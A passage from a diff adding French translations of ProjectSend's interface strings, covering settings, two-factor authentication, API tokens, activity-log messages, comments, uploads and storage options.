"Administrateur système", + "System settings": "Paramètres système", + "System settings were updated": "Les paramètres système ont été mis à jour", + "System users": "Utilisateurs système", + "Tag": "Mot clé", + "Tags": "Mots clés", + "Temporary Redirect": "Redirection temporaire", + "Test": "Test", + "Text": "Texte", + "Text or author": "Texte ou auteur", + "The account of :name will be permanently deleted. This cannot be undone.": "Le compte de :name sera définitivement supprimé. Cette action est irréversible.", + "The account password was changed": "Le mot de passe du compte a été modifié", + "The account request of :name will be denied and the account deleted.": "La demande de compte de :name sera refusée et le compte supprimé.", + "The administrator account was created successfully.": "Le compte administrateur a été créé avec succès.", + "The administrator role always has every permission and cannot be edited.": "Le rôle administrateur possède toujours toutes les permissions et ne peut pas être modifié.", + "The base URL segment for public group pages, e.g. :url": "Le segment d'URL de base des pages de groupes publics, par ex. :url", + "The category \":name\" will be removed from all its files. The files themselves are not deleted.": "La catégorie \":name\" sera retirée de tous ses fichiers. Les fichiers eux-mêmes ne sont pas supprimés.", + "The client's email address": "L'adresse e-mail du client", + "The client's name": "Le nom du client", + "The clients this group shares files with": "Les clients avec lesquels ce groupe partage des fichiers", + "The field \":name\" and all its stored values will be permanently deleted.": "Le champ \":name\" et toutes les valeurs qu'il contient seront définitivement supprimés.", + "The file \":file\" was uploaded by :client.": "Le fichier \":file\" a été téléversé par :client.", + "The file \":name\" has been shared with you.": "Le fichier \":name\" a été partagé avec vous.", + "The file \":name\" will no longer be available to anyone it was shared with.": "Le fichier \":name\" ne sera plus accessible à aucune des personnes avec qui il était partagé.", + "The file name": "Le nom du fichier", + "The file or folder name": "Le nom du fichier ou du dossier", + "The file will be permanently removed from disk. This cannot be undone.": "Le fichier sera définitivement supprimé du disque. Cette action est irréversible.", + "The files of a public group can be browsed by anyone with the link, without logging in.": "Les fichiers d'un groupe public peuvent être consultés par toute personne disposant du lien, sans connexion.", + "The files shared with you": "Les fichiers partagés avec vous", + "The folder \":name\" and everything inside it will be deleted. This can be undone by an administrator.": "Le dossier \":name\" et tout son contenu seront supprimés. Un administrateur peut annuler cette action.", + "The following :count items have been shared with you:": "Les :count éléments suivants ont été partagés avec vous :", + "The folder \":name\" has been shared with you.": "Le dossier \":name\" a été partagé avec vous.", + "The given data was invalid.": "La donnée renseignée est incorrecte.", + "The group \":name\" will be deleted. Its clients keep their accounts.": "Le groupe \":name\" sera supprimé. Ses clients conservent leur compte.", + "The group name": "Le nom du groupe", + "The groups you belong to and the ones you can ask to join": "Les groupes auxquels vous appartenez et ceux que vous pouvez demander à rejoindre", + "The header/footer style used for every outgoing notification email.": "Le style d'en-tête et de pied de page utilisé pour chaque e-mail de notification sortant.", + "The look of the guest public pages, the client portal, and outgoing notification emails.": "L'apparence des pages publiques destinées aux visiteurs, du portail client et des e-mails de notification sortants.", + "The mail server itself is configured in this installation’s .env file (MAIL_* variables), not here.": "Le serveur de messagerie lui-même se configure dans le fichier .env de cette installation (variables MAIL_*), pas ici.", + "The people who administer this installation and upload files": "Les personnes qui administrent cette installation et téléversent des fichiers", + "The people you share files with": "Les personnes avec qui vous partagez des fichiers", + "The provided two-factor authentication code was invalid.": "Le code d'authentification à deux facteurs fourni était invalide.", + "The release this installation is running, and where it comes from.": "La version exécutée par cette installation, et d'où elle vient.", + "The response is not a streamed response.": "La réponse n'est pas une réponse diffusée.", + "The response is not a view.": "La réponse n'est pas une vue.", + "The role \":name\" will be permanently deleted. This cannot be undone.": "Le rôle \":name\" sera définitivement supprimé. Cette action est irréversible.", + "The selected folders are empty.": "Les dossiers sélectionnés sont vides.", + "The uploading client's name": "Le nom du client qui téléverse", + "Their account is waiting for approval.": "Ce compte est en attente d'approbation.", + "There is nothing to configure yet.": "Il n'y a rien à configurer pour l'instant.", + "Test email from :site": "E-mail de test de :site", + "These files will be permanently removed from disk. This cannot be undone.": "Ces fichiers seront définitivement supprimés du disque. Cette action est irréversible.", + "Theme": "Thème", + "Theme updated.": "Thème mis à jour.", + "Theming": "Thèmes", + "Theming settings": "Paramètres des thèmes", + "This action is unauthorized.": "Cette action n'est pas autorisée.", + "This file exceeds the maximum allowed size of :max MB.": "Ce fichier dépasse la taille maximale autorisée de :max Mo.", + "This folder is empty.": "Ce dossier est vide.", + "This installation has no administrator yet. Create the first one to get started.": "Cette installation n'a pas encore d'administrateur. Créez le premier pour commencer.", + "This is a built-in role; its scope can't be changed.": "Il s'agit d'un rôle intégré ; sa portée ne peut pas être modifiée.", + "This is a preview of the :theme email theme.": "Ceci est un aperçu du thème d'e-mail :theme.", + "This is a sample email — no notification was actually sent.": "Ceci est un exemple d'e-mail — aucune notification n'a réellement été envoyée.", + "This is a test email from :site.": "Ceci est un e-mail de test de :site.", + "This is the last active administrator account.": "Il s'agit du dernier compte administrateur actif.", + "This link cannot match the file's own public URL slug.": "Ce lien ne peut pas être identique au slug d'URL publique du fichier lui-même.", + "This link doesn't exist or has been revoked.": "Ce lien n'existe pas ou a été révoqué.", + "This link has expired.": "Ce lien a expiré.", + "This link has reached its download limit.": "Ce lien a atteint sa limite de téléchargements.", + "This password reset link will expire in :count minutes.": "Ce lien de réinitialisation du mot de passe expirera dans :count minutes.", + "This permanently removes every failed job from the list without retrying any of them. This cannot be undone.": "Cela supprime définitivement toutes les tâches échouées de la liste sans en réessayer aucune. Cette action est irréversible.", + "This role is assigned to accounts and cannot be deleted.": "Ce rôle est attribué à des comptes et ne peut pas être supprimé.", + "This role only sees files and folders belonging to these clients, plus its own uploads.": "Ce rôle ne voit que les fichiers et dossiers de ces clients, ainsi que ses propres téléversements.", + "This upload would exceed your storage quota of :quota MB.": "Ce téléversement dépasserait votre quota de stockage de :quota Mo.", + "Tip: drag files and folders onto a folder or a breadcrumb to move them.": "Astuce : faites glisser fichiers et dossiers sur un dossier ou un fil d'Ariane pour les déplacer.", + "Title": "Titre", + "Title (optional)": "Titre (facultatif)", + "TLS": "TLS", + "to": "à", + "To": "À", + "Toggle navigation": "Afficher / masquer le menu de navigation", + "Too Early": "Trop tôt", + "Too many files selected. Choose a smaller selection and try again.": "Trop de fichiers sélectionnés. Réduisez votre sélection et réessayez.", + "Too Many Requests": "Trop de requêtes", + "Transactional email settings for this installation": "Paramètres des e-mails transactionnels de cette installation", + "Transfers — last 30 days": "Transferts — 30 derniers jours", + "Translate": "Traduire", + "Translate It": "Traduis le", + "Turns all transactional email for this installation on or off.": "Active ou désactive tous les e-mails transactionnels de cette installation.", + "Two-factor auth": "Authentification 2FA", + "Two-factor authentication": "Authentification à deux facteurs", + "Two-factor authentication is enabled.": "L'authentification à deux facteurs est activée.", + "Two-factor authentication was disabled": "L'authentification à deux facteurs a été désactivée", + "Two-factor authentication was enabled": "L'authentification à deux facteurs a été activée", + "Two-factor recovery codes were regenerated": "Les codes de récupération à deux facteurs ont été régénérés", + "Type": "Type", + "Unauthorized": "Non autorisé", + "Unavailable For Legal Reasons": "Indisponible pour des raisons légales", + "Unchanged": "Inchangé", + "Unknown Error": "Erreur inconnue", + "Unlimited": "Illimité", + "Unpack": "Déballer", + "Unprocessable Entity": "Entité non traitable", + "Unsubscribe": "Se désabonner", + "Unsupported Media Type": "Type de média non supporté", + "Up": "Monter", + "Up to :max MB per file. Uploads can be paused and resume automatically after interruptions.": "Jusqu'à :max Mo par fichier. Les téléversements peuvent être mis en pause et reprennent automatiquement après une interruption.", + "Update": "Mettre à jour", + "Update :name": "Mettre à jour :name", + "Updated the account \":subject\"": "A mis à jour le compte \":subject\"", + "Updated the file \":subject\"": "A mis à jour le fichier \":subject\"", + "Updated the group \":subject\"": "A mis à jour le groupe \":subject\"", + "Updated the role \":subject\"": "A mis à jour le rôle \":subject\"", + "Updated the system settings (:section)": "A mis à jour les paramètres système (:section)", + "Updated their profile information": "A mis à jour les informations de son profil", + "Upgrade Required": "Mise à niveau requise", + "Upload": "Téléverser", + "Upload a file": "Téléverser un fichier", + "Upload files": "Téléverser des fichiers", + "Upload public files": "Téléverser des fichiers publics", + "Upload settings": "Paramètres de téléversement", + "Upload to public folders": "Téléverser dans des dossiers publics", + "Uploaded by": "Téléversé par", + "Uploaded the file \":subject\"": "A téléversé le fichier \":subject\"", + "Uploader": "Auteur du téléversement", + "Uploads": "Téléversements", + "Uploads (chart)": "Téléversements (graphique)", + "URI Too Long": "URI trop long", + "URL slug": "Slug d'URL", + "Use a custom link instead of a random one": "Utiliser un lien personnalisé plutôt qu'un lien aléatoire", + "Use a recovery code": "Utiliser un code de récupération", + "Use an authentication code": "Utiliser un code d'authentification", + "Use Proxy": "Utiliser un proxy", + "Use the navigation to get started.": "Utilisez la navigation pour commencer.", + "Used": "Utilisé", + "Used in the public file URL when this file is public.": "Utilisé dans l'URL publique du fichier lorsque celui-ci est public.", + "Used in the public group URL when this group is public.": "Utilisé dans l'URL publique du groupe lorsque celui-ci est public.", + "User": "Utilisateur", + "User created.": "Utilisateur créé.", + "User deleted.": "Utilisateur supprimé.", + "User updated.": "Utilisateur mis à jour.", + "Users": "Utilisateurs", + "Username": "Nom d'utilisateur", + "Variant Also Negotiates": "La variante négocie également", + "Verify Email Address": "Vérifier l'adresse e-mail", + "Version": "Version", + "Version :version": "Version :version", + "View": "Vue", + "View :name": "Voir :name", + "View all": "Tout afficher", + "View dashboard counters": "Voir les compteurs du tableau de bord", + "View file": "Voir le fichier", + "View news": "Voir les actualités", + "View statistics": "Voir les statistiques", + "View system information": "Voir les informations système", + "Visible widgets": "Widgets visibles", + "View the activity log": "Voir le journal d'activité", + "View your files": "Voir vos fichiers", + "Visibility": "Visibilité", + "Visitors": "Visiteurs", + "Warning": "Avertissement", + "Web Server is Down": "Le serveur Web est en panne", + "Website": "Site web", + "Welcome": "Bienvenue", + "Welcome to ProjectSend": "Bienvenue sur ProjectSend", + "What each kind of account is allowed to do": "Ce que chaque type de compte est autorisé à faire", + "When an account is erased, its files and folders": "Quand un compte est effacé, ses fichiers et dossiers", + "When enabled, you will be asked for a secure code from your phone when logging in.": "Une fois activé, un code sécurisé issu de votre téléphone vous sera demandé à la connexion.", + "When off, self-registered clients wait in the account requests queue until approved.": "Lorsque cette option est désactivée, les clients inscrits par eux-mêmes attendent leur approbation dans la file des demandes de compte.", + "Where outgoing email is actually sent from.": "L'adresse depuis laquelle les e-mails sortants sont réellement envoyés.", + "Whoops!": "Oups !", + "Widgets": "Widgets", + "Worth including when you report a problem.": "À indiquer lorsque vous signalez un problème.", + "Written by": "Écrit par", + "Yellow": "Jaune", + "Yes": "Oui", + "You are commenting too quickly. Try again in a moment.": "Vous commentez trop vite. Réessayez dans un instant.", + "You are commenting too quickly. Try again in :seconds seconds.": "Vous commentez trop vite. Réessayez dans :seconds secondes.", + "You are not a member of any group yet.": "Vous n'êtes membre d'aucun groupe pour l'instant.", + "You are receiving this email because we received a password reset request for your account.": "Vous recevez cet e-mail car nous avons reçu une demande de réinitialisation de mot de passe pour votre compte.", + "You can only share with the clients assigned to you.": "Vous ne pouvez partager qu'avec les clients qui vous sont attribués.", + "You cannot comment on this file.": "Vous ne pouvez pas commenter ce fichier.", + "You cannot deactivate your own account.": "Vous ne pouvez pas désactiver votre propre compte.", + "You cannot delete your own account.": "Vous ne pouvez pas supprimer votre propre compte.", + "You have no notifications yet.": "Vous n'avez aucune notification pour l'instant.", + "You will no longer receive files shared with the group \":name\".": "Vous ne recevrez plus les fichiers partagés avec le groupe \":name\".", + "Your account details were recently changed by an administrator. Contact your administrator if this was not expected.": "Les informations de votre compte ont récemment été modifiées par un administrateur. Contactez votre administrateur si vous ne vous y attendiez pas.", + "Your account has been approved": "Votre compte a été approuvé", + "Your account has been created. You can log in now.": "Votre compte a été créé. Vous pouvez vous connecter dès maintenant.", + "Your account has been deactivated.": "Votre compte a été désactivé.", + "Your account is deactivated immediately. After :days days it is permanently erased, including your identifying details in the activity log — this cannot be undone.": "Votre compte est désactivé immédiatement. Au bout de :days jours, il est effacé définitivement, y compris les informations permettant de vous identifier dans le journal d'activité — cette action est irréversible.", + "Your account request has been approved. You can now log in.": "Votre demande de compte a été approuvée. Vous pouvez maintenant vous connecter.", + "Your account request has been denied.": "Votre demande de compte a été refusée.", + "Your account request has been received. You will be able to log in once it is approved.": "Votre demande de compte a bien été reçue. Vous pourrez vous connecter dès qu'elle sera approuvée.", + "Your account request has not been approved yet.": "Votre demande de compte n'a pas encore été approuvée.", + "Your account request was denied": "Votre demande de compte a été refusée", + "Your account was updated": "Votre compte a été mis à jour", + "Your account will be deactivated now and permanently erased after :days days. Enter your password to confirm.": "Votre compte va être désactivé maintenant et effacé définitivement après :days jours. Saisissez votre mot de passe pour confirmer.", + "Your account will no longer require a second code at login, making it less secure.": "Votre compte n'exigera plus de second code à la connexion, ce qui le rend moins sûr.", + "Your administrator requires two-factor authentication on this account. Set it up below to continue.": "Votre administrateur exige l'authentification à deux facteurs sur ce compte. Configurez-la ci-dessous pour continuer.", + "Your customized subject and body will be discarded and replaced with the default wording immediately — this cannot be undone.": "Votre objet et votre corps de message personnalisés seront immédiatement abandonnés et remplacés par la formulation par défaut — cette action est irréversible.", + "Your download should start automatically.": "Votre téléchargement devrait démarrer automatiquement.", + "Your existing recovery codes will stop working immediately.": "Vos codes de récupération actuels cesseront de fonctionner immédiatement.", + "Your group membership request was approved": "Votre demande d'adhésion au groupe a été approuvée", + "Your group membership request was denied": "Votre demande d'adhésion au groupe a été refusée", + "Your groups": "Vos groupes", + "Your previous request to this group was declined. You can request again later.": "Votre précédente demande auprès de ce groupe a été refusée. Vous pourrez en faire une nouvelle plus tard.", + "Your request to join the group \":group\" has been approved.": "Votre demande pour rejoindre le groupe \":group\" a été approuvée.", + "Your request to join the group \":group\" has been denied.": "Votre demande pour rejoindre le groupe \":group\" a été refusée.", + "Your request to join the group \":groupName\" has been approved": "Votre demande pour rejoindre le groupe \":groupName\" a été approuvée", + "Your shared file library": "Votre bibliothèque de fichiers partagés", + "API tokens": "Jetons d'API", + "Tokens let an external tool act on your behalf through the API, with only the permissions you grant it here.": "Les jetons permettent à un outil externe d'agir en votre nom via l'API, avec les seules permissions que vous lui accordez ici.", + "Token name": "Nom du jeton", + "e.g. Zapier": "par ex. Zapier", + "Name it after the tool that will use it, so you know what you are revoking later.": "Nommez-le d'après l'outil qui l'utilisera, afin de savoir ce que vous révoquez plus tard.", + "A token can never do more than you can. Grant only what the tool needs — if your own permissions change, the token follows.": "Un jeton ne peut jamais faire plus que vous. N'accordez que ce dont l'outil a besoin — si vos propres permissions changent, le jeton suit.", + "Only permissions the API can currently act on are listed. More appear here as new endpoints are released.": "Seules les permissions sur lesquelles l'API peut agir aujourd'hui sont listées. D'autres apparaîtront ici au fil des nouveaux points de terminaison.", + "There is nothing you can grant a token yet — none of the API endpoints released so far match your permissions.": "Vous ne pouvez encore rien accorder à un jeton — aucun des points de terminaison de l'API publiés à ce jour ne correspond à vos permissions.", + "Select all": "Tout sélectionner", + "Clear all": "Tout désélectionner", + "Expires in (days)": "Expire dans (jours)", + "A token that never expires stays valid until someone revokes it by hand. Prefer a date you can forget about safely.": "Un jeton sans expiration reste valide jusqu'à ce que quelqu'un le révoque à la main. Préférez une date que vous pourrez oublier sans risque.", + "Create token": "Créer le jeton", + "Copy your token now": "Copiez votre jeton maintenant", + "This is the only time it will be shown. We store only a hash, so it cannot be recovered later.": "C'est la seule fois où il sera affiché. Nous n'en conservons qu'une empreinte : il ne pourra pas être récupéré ensuite.", + "Copy to clipboard": "Copier dans le presse-papiers", + "Copied": "Copié", + "Your tokens": "Vos jetons", + "Revoking a token takes effect immediately.": "La révocation d'un jeton prend effet immédiatement.", + "You have not created any tokens yet.": "Vous n'avez encore créé aucun jeton.", + "Expired": "Expiré", + "Never used": "Jamais utilisé", + "Last used :date": "Dernière utilisation le :date", + "Revoke this token?": "Révoquer ce jeton ?", + "Any tool using it will stop working immediately. This cannot be undone.": "Tout outil qui l'utilise cessera de fonctionner immédiatement. Cette action est irréversible.", + "This file type is not allowed for upload.": "Ce type de fichier n'est pas autorisé au téléversement.", + "View the client list": "Voir la liste des clients", + "View the group list": "Voir la liste des groupes", + "Origin": "Origine", + "All origins": "Toutes les origines", + "Web UI": "Interface web", + "API": "API", + ":origin · :token": ":origin · :token", + "Edit token": "Modifier le jeton", + "Save token": "Enregistrer le jeton", + "The token is shown once, immediately after it is created, and never again.": "Le jeton est affiché une seule fois, juste après sa création, et plus jamais ensuite.", + "The token itself does not change. Anything already using it keeps working with whatever you set here.": "Le jeton lui-même ne change pas. Tout ce qui l'utilise déjà continue de fonctionner avec ce que vous définissez ici.", + "Changing permissions takes effect immediately": "Les changements de permissions prennent effet immédiatement", + "The existing token keeps its value, so whatever holds it gains or loses these permissions right away. Revoke and create a new one instead if you want a fresh secret.": "Le jeton existant conserve sa valeur : ce qui le détient gagne ou perd ces permissions sur-le-champ. Révoquez-le et créez-en un nouveau si vous souhaitez un secret inédit.", + "Some permissions no longer apply": "Certaines permissions ne s'appliquent plus", + "This token still carries permissions that do nothing today, and saving will drop them: :abilities": "Ce jeton porte encore des permissions sans effet aujourd'hui ; l'enregistrement les supprimera : :abilities", + "Token updated.": "Jeton mis à jour.", + "How external tools can act on this installation on your behalf.": "Comment des outils externes peuvent agir en votre nom sur cette installation.", + "OpenAPI specification": "Spécification OpenAPI", + "Endpoints": "Points de terminaison", + "Method": "Méthode", + "Tokens": "Jetons", + "Your tokens and what they have been doing.": "Vos jetons et ce qu'ils ont fait.", + "Every token on this installation and what it has been doing.": "Chaque jeton de cette installation et ce qu'il a fait.", + "Show all tokens": "Afficher tous les jetons", + "Show only mine": "Afficher uniquement les miens", + "Manage tokens": "Gérer les jetons", + "Requests (7 days)": "Requêtes (7 jours)", + "Failed (7 days)": "Échecs (7 jours)", + "Median response": "Temps de réponse médian", + "No requests yet": "Aucune requête pour l'instant", + ":count expired": ":count expirés", + "Requests": "Requêtes", + "Succeeded": "Réussies", + "Failed": "Échouées", + "Request history is kept for :days days.": "L'historique des requêtes est conservé :days jours.", + "Request history is kept indefinitely.": "L'historique des requêtes est conservé indéfiniment.", + "No tokens yet.": "Aucun jeton pour l'instant.", + "Owner": "Propriétaire", + "Last used": "Dernière utilisation", + "History": "Historique", + "Busiest endpoints": "Points de terminaison les plus sollicités", + "No requests in the last 7 days.": "Aucune requête au cours des 7 derniers jours.", + "Recent changes made through the API": "Modifications récentes effectuées via l'API", + "Full history": "Historique complet", + "Nothing has been changed through the API yet.": "Rien n'a encore été modifié via l'API.", + "API usage": "Utilisation de l'API", + "Open the API dashboard": "Ouvrir le tableau de bord de l'API", + "You have no API tokens. Create one to let an external tool act on your behalf.": "Vous n'avez aucun jeton d'API. Créez-en un pour permettre à un outil externe d'agir en votre nom.", + "API request history (days)": "Historique des requêtes API (jours)", + "How long the API dashboard keeps a record of each request. This is usage history, not the activity log — the activity log is an audit trail and is never pruned. Set to 0 to keep it indefinitely.": "Durée pendant laquelle le tableau de bord de l'API conserve la trace de chaque requête. Il s'agit de l'historique d'utilisation, et non du journal d'activité — celui-ci constitue une piste d'audit et n'est jamais purgé. Mettez 0 pour le conserver indéfiniment.", + "A category was created": "Une catégorie a été créée", + "A category was deleted": "Une catégorie a été supprimée", + "A category was renamed": "Une catégorie a été renommée", + "A comment was approved": "Un commentaire a été approuvé", + "A comment was deleted": "Un commentaire a été supprimé", + "A comment was edited": "Un commentaire a été modifié", + "A comment was posted on a file": "Un commentaire a été publié sur un fichier", + "A custom asset was created": "Une ressource personnalisée a été créée", + "A custom asset was deleted": "Une ressource personnalisée a été supprimée", + "A custom asset was disabled": "Une ressource personnalisée a été désactivée", + "A custom asset was enabled": "Une ressource personnalisée a été activée", + "A custom asset was updated": "Une ressource personnalisée a été mise à jour", + "A custom field was created": "Un champ personnalisé a été créé", + "A custom field was deleted": "Un champ personnalisé a été supprimé", + "A custom field was updated": "Un champ personnalisé a été mis à jour", + "A deleted account's files and folders were deleted": "Les fichiers et dossiers d'un compte supprimé ont été supprimés", + "A deleted account's files and folders were reassigned": "Les fichiers et dossiers d'un compte supprimé ont été réattribués", + "A file was made private": "Un fichier a été rendu privé", + "A file was made public": "Un fichier a été rendu public", + "A file was previewed": "Un fichier a été prévisualisé", + "A folder was made private": "Un dossier a été rendu privé", + "A folder was made public": "Un dossier a été rendu public", + "A group was made private": "Un groupe a été rendu privé", + "A group was made public": "Un groupe a été rendu public", + "An API token was created": "Un jeton d'API a été créé", + "An API token was revoked": "Un jeton d'API a été révoqué", + "An API token was updated": "Un jeton d'API a été mis à jour", + "An expired file was automatically deleted after its retention grace period passed": "Un fichier expiré a été automatiquement supprimé une fois son délai de grâce écoulé", + "An orphan file was automatically deleted after its retention grace period passed": "Un fichier orphelin a été automatiquement supprimé une fois son délai de grâce écoulé", + "An upload was cancelled": "Un téléversement a été annulé", + "Approved a comment on the file \":subject\"": "A approuvé un commentaire sur le fichier \":subject\"", + "Cancelled uploading the file \":name\"": "A annulé le téléversement du fichier \":name\"", + "Commented on the file \":subject\"": "A commenté le fichier \":subject\"", + "Created the API token \":token_name\"": "A créé le jeton d'API \":token_name\"", + "Created the category \":subject\"": "A créé la catégorie \":subject\"", + "Created the custom asset \":subject\"": "A créé la ressource personnalisée \":subject\"", + "Created the custom field \":name\"": "A créé le champ personnalisé \":name\"", + "Deleted :files file(s) and :folders folder(s) belonging to the deleted account \":name\"": "A supprimé :files fichier(s) et :folders dossier(s) appartenant au compte supprimé \":name\"", + "Deleted a comment on the file \":subject\"": "A supprimé un commentaire sur le fichier \":subject\"", + "Deleted the category \":name\"": "A supprimé la catégorie \":name\"", + "Deleted the custom asset \":name\"": "A supprimé la ressource personnalisée \":name\"", + "Deleted the custom field \":name\"": "A supprimé le champ personnalisé \":name\"", + "Deleted the expired file \":name\"": "A supprimé le fichier expiré \":name\"", + "Disabled the custom asset \":subject\"": "A désactivé la ressource personnalisée \":subject\"", + "Edited a comment on the file \":subject\"": "A modifié un commentaire sur le fichier \":subject\"", + "Enabled the custom asset \":subject\"": "A activé la ressource personnalisée \":subject\"", + "Made the file \":subject\" private": "A rendu le fichier \":subject\" privé", + "Made the file \":subject\" public": "A rendu le fichier \":subject\" public", + "Made the folder \":subject\" private": "A rendu le dossier \":subject\" privé", + "Made the folder \":subject\" public": "A rendu le dossier \":subject\" public", + "Made the group \":subject\" private": "A rendu le groupe \":subject\" privé", + "Made the group \":subject\" public": "A rendu le groupe \":subject\" public", + "Previewed the file \":subject\"": "A prévisualisé le fichier \":subject\"", + "Reassigned :files file(s) and :folders folder(s) from the deleted account \":name\" to :target": "A réattribué :files fichier(s) et :folders dossier(s) du compte supprimé \":name\" à :target", + "Renamed the category to \":subject\"": "A renommé la catégorie en \":subject\"", + "Revoked the API token \":token_name\"": "A révoqué le jeton d'API \":token_name\"", + "Updated the API token \":token_name\"": "A mis à jour le jeton d'API \":token_name\"", + "Updated the custom asset \":subject\"": "A mis à jour la ressource personnalisée \":subject\"", + "Updated the custom field \":name\"": "A mis à jour le champ personnalisé \":name\"", + "Manage client custom fields": "Gérer les champs personnalisés des clients", + "Moderate comments": "Modérer les commentaires", + "Only me": "Moi uniquement", + "Visible to anyone who can open this file, including visitors who are not logged in.": "Visible par toute personne pouvant ouvrir ce fichier, y compris les visiteurs non connectés.", + "Anyone, including visitors who are not logged in": "Tout le monde, y compris les visiteurs non connectés", + "Staff and clients": "Équipe et clients", + "Staff only": "Équipe uniquement", + "No files — commenting is off": "Aucun fichier — les commentaires sont désactivés", + "Only files marked as commentable": "Uniquement les fichiers ouverts aux commentaires", + "Public files only": "Fichiers publics uniquement", + "Shared files only": "Fichiers partagés uniquement", + "(blank = inheriting the site default)": "(vide = hérite de la valeur par défaut du site)", + "(blank = unlimited, no site default is set)": "(vide = illimité, aucune valeur par défaut n'est définie pour le site)", + "(deleted file)": "(fichier supprimé)", + ":authorName commented on \":fileName\"": ":authorName a commenté \":fileName\"", + ":authorName commented on \":fileName\" and is waiting for approval": ":authorName a commenté \":fileName\" et attend une approbation", + ":count comments": ":count commentaires", + ":count file updated.|:count files updated.": ":count fichier mis à jour.|:count fichiers mis à jour.", + ":count waiting for approval": ":count en attente d'approbation", + ":guest commented on the file \":subject\"": ":guest a commenté le fichier \":subject\"", + ":name — files": ":name — fichiers", + ":updated of :requested selected files were updated. The rest were skipped because you don't have permission to edit them.": ":updated fichiers sur les :requested sélectionnés ont été mis à jour. Les autres ont été ignorés faute de permission de les modifier.", + "A bold header built around your logo — pairs with the Gallery look for a polished, on-brand inbox.": "Un en-tête affirmé construit autour de votre logo — s'accorde au style Gallery pour une boîte de réception soignée et fidèle à votre marque.", + "Access": "Accès", + "Access key": "Clé d'accès", + "Accounts covered by this setting may only upload files whose extension is on the allowed list below.": "Les comptes concernés par ce paramètre ne peuvent téléverser que des fichiers dont l'extension figure dans la liste autorisée ci-dessous.", + "A clean, neutral layout that works well for any kind of file sharing.": "Une mise en page nette et neutre, adaptée à tout type de partage de fichiers.", + "A comment from someone who is not logged in stays hidden until a moderator approves it.": "Le commentaire d'une personne non connectée reste masqué jusqu'à son approbation par un modérateur.", + "A comment is waiting for approval": "Un commentaire attend une approbation", + "Activity history for :name": "Historique d'activité de :name", + "A daily task permanently deletes files past their expiration date and grace period below.": "Une tâche quotidienne supprime définitivement les fichiers ayant dépassé leur date d'expiration et le délai de grâce ci-dessous.", + "A daily task permanently deletes local orphan files older than the grace period below.": "Une tâche quotidienne supprime définitivement les fichiers orphelins locaux plus anciens que le délai de grâce ci-dessous.", + "Add categories": "Ajouter des catégories", + "Adds an \"Everyone\" option when commenting on a file that is publicly visible. Without this, comments only ever reach people who are logged in.": "Ajoute une option « Tout le monde » lors d'un commentaire sur un fichier visible publiquement. Sans cela, les commentaires n'atteignent jamais que les personnes connectées.", + "A dense, spreadsheet-style list that fits more files on screen — best for large collections and frequent uploaders.": "Une liste dense, façon tableur, qui affiche davantage de fichiers à l'écran — idéale pour les grandes collections et les téléversements fréquents.", + "A full-width photo grid built for visual browsing — the best choice for photographers and image-heavy collections.": "Une grille de photos pleine largeur pensée pour la navigation visuelle — le meilleur choix pour les photographes et les collections riches en images.", + "Allow clients to add files to this folder from their portal.": "Autoriser les clients à ajouter des fichiers à ce dossier depuis leur portail.", + "Allow comments on this file": "Autoriser les commentaires sur ce fichier", + "Allowed file extensions": "Extensions de fichier autorisées", + "Allow public comments": "Autoriser les commentaires publics", + "and :count more": "et :count de plus", + "Anonymous": "Anonyme", + "Anonymous downloads": "Téléchargements anonymes", + "Applied to any client without their own custom quota, including self-registered ones. Set to 0 for no default (unlimited unless a client has their own limit).": "S'applique à tout client sans quota personnalisé, y compris ceux inscrits par eux-mêmes. Mettez 0 pour n'imposer aucune valeur par défaut (illimité, sauf si un client possède sa propre limite).", + "A public group's page is always reachable by its own link once you mark it public — this page only controls the base URL and an optional directory listing every public group and file at once.": "La page d'un groupe public reste toujours accessible par son propre lien dès que vous le marquez comme public — cette page ne contrôle que l'URL de base et un annuaire facultatif listant d'un coup tous les groupes et fichiers publics.", + "A reset link will be sent if the account exists.": "Un lien de réinitialisation sera envoyé si le compte existe.", + "A spacious, colorful layout inspired by cloud storage apps, with clear file-type icons and generous spacing.": "Une mise en page aérée et colorée inspirée des applications de stockage en ligne, avec des icônes de type de fichier explicites et des espacements généreux.", + "A stripped-down, understated design with no extra styling — pairs with the Compact look.": "Un design dépouillé et discret, sans fioritures — s'accorde au style Compact.", + "Auto approve new accounts": "Approuver automatiquement les nouveaux comptes", + "Automatically delete expired files": "Supprimer automatiquement les fichiers expirés", + "Automatically delete orphan files": "Supprimer automatiquement les fichiers orphelins", + "A visitor commented on a file": "Un visiteur a commenté un fichier", + "Awaiting approval": "En attente d'approbation", + "Back": "Retour", + "Be careful when changing this list — it can affect the security of this installation.": "Modifiez cette liste avec prudence — elle peut affecter la sécurité de cette installation.", + "Blank = inherit the site default (currently :default MB). Set a value to give this client their own limit.": "Vide = hérite de la valeur par défaut du site (actuellement :default Mo). Saisissez une valeur pour donner à ce client sa propre limite.", + "Blank = unlimited (no site default is set). Set a value to give this client their own limit.": "Vide = illimité (aucune valeur par défaut n'est définie pour le site). Saisissez une valeur pour donner à ce client sa propre limite.", + "Blue accents and clean structure inspired by cloud storage apps — pairs with the Drive look.": "Des touches de bleu et une structure nette inspirées des applications de stockage en ligne — s'accorde au style Drive.", + "Branding": "Image de marque", + "Bucket": "Bucket", + "Bulk edit :count files": "Modifier en lot :count fichiers", + "by": "par", + "Change at least one field before applying a bulk edit.": "Modifiez au moins un champ avant d'appliquer une modification en lot.", + "Check for updates": "Rechercher des mises à jour", + "Client access": "Accès client", + "Client downloads": "Téléchargements des clients", + "Clients can register themselves": "Les clients peuvent s'inscrire eux-mêmes", + "Clients only": "Clients uniquement", + "Comment approved.": "Commentaire approuvé.", + "Comment deleted.": "Commentaire supprimé.", + "Comments": "Commentaires", + "Comments are closed on this file.": "Les commentaires sont fermés sur ce fichier.", + "Comments already written stay readable even if a file stops accepting new ones.": "Les commentaires déjà écrits restent lisibles même si un fichier cesse d'en accepter de nouveaux.", + "Comments awaiting approval": "Commentaires en attente d'approbation", + "Comment settings": "Paramètres des commentaires", + "Comments left by visitors who are not logged in. Nobody can see them until you approve them.": "Commentaires laissés par des visiteurs non connectés. Personne ne peut les voir tant que vous ne les avez pas approuvés.", + "Connect an external S3-compatible bucket (AWS S3, MinIO, or another S3-compatible service) as the storage backend for new uploads.": "Connectez un bucket externe compatible S3 (AWS S3, MinIO ou un autre service compatible S3) comme espace de stockage des nouveaux téléversements.", + "Custom endpoint": "Point de terminaison personnalisé", + "Custom field created.": "Champ personnalisé créé.", + "Custom field deleted.": "Champ personnalisé supprimé.", + "Custom field updated.": "Champ personnalisé mis à jour.", + "Custom range": "Période personnalisée", + "Default storage quota (MB)": "Quota de stockage par défaut (Mo)", + "Delete 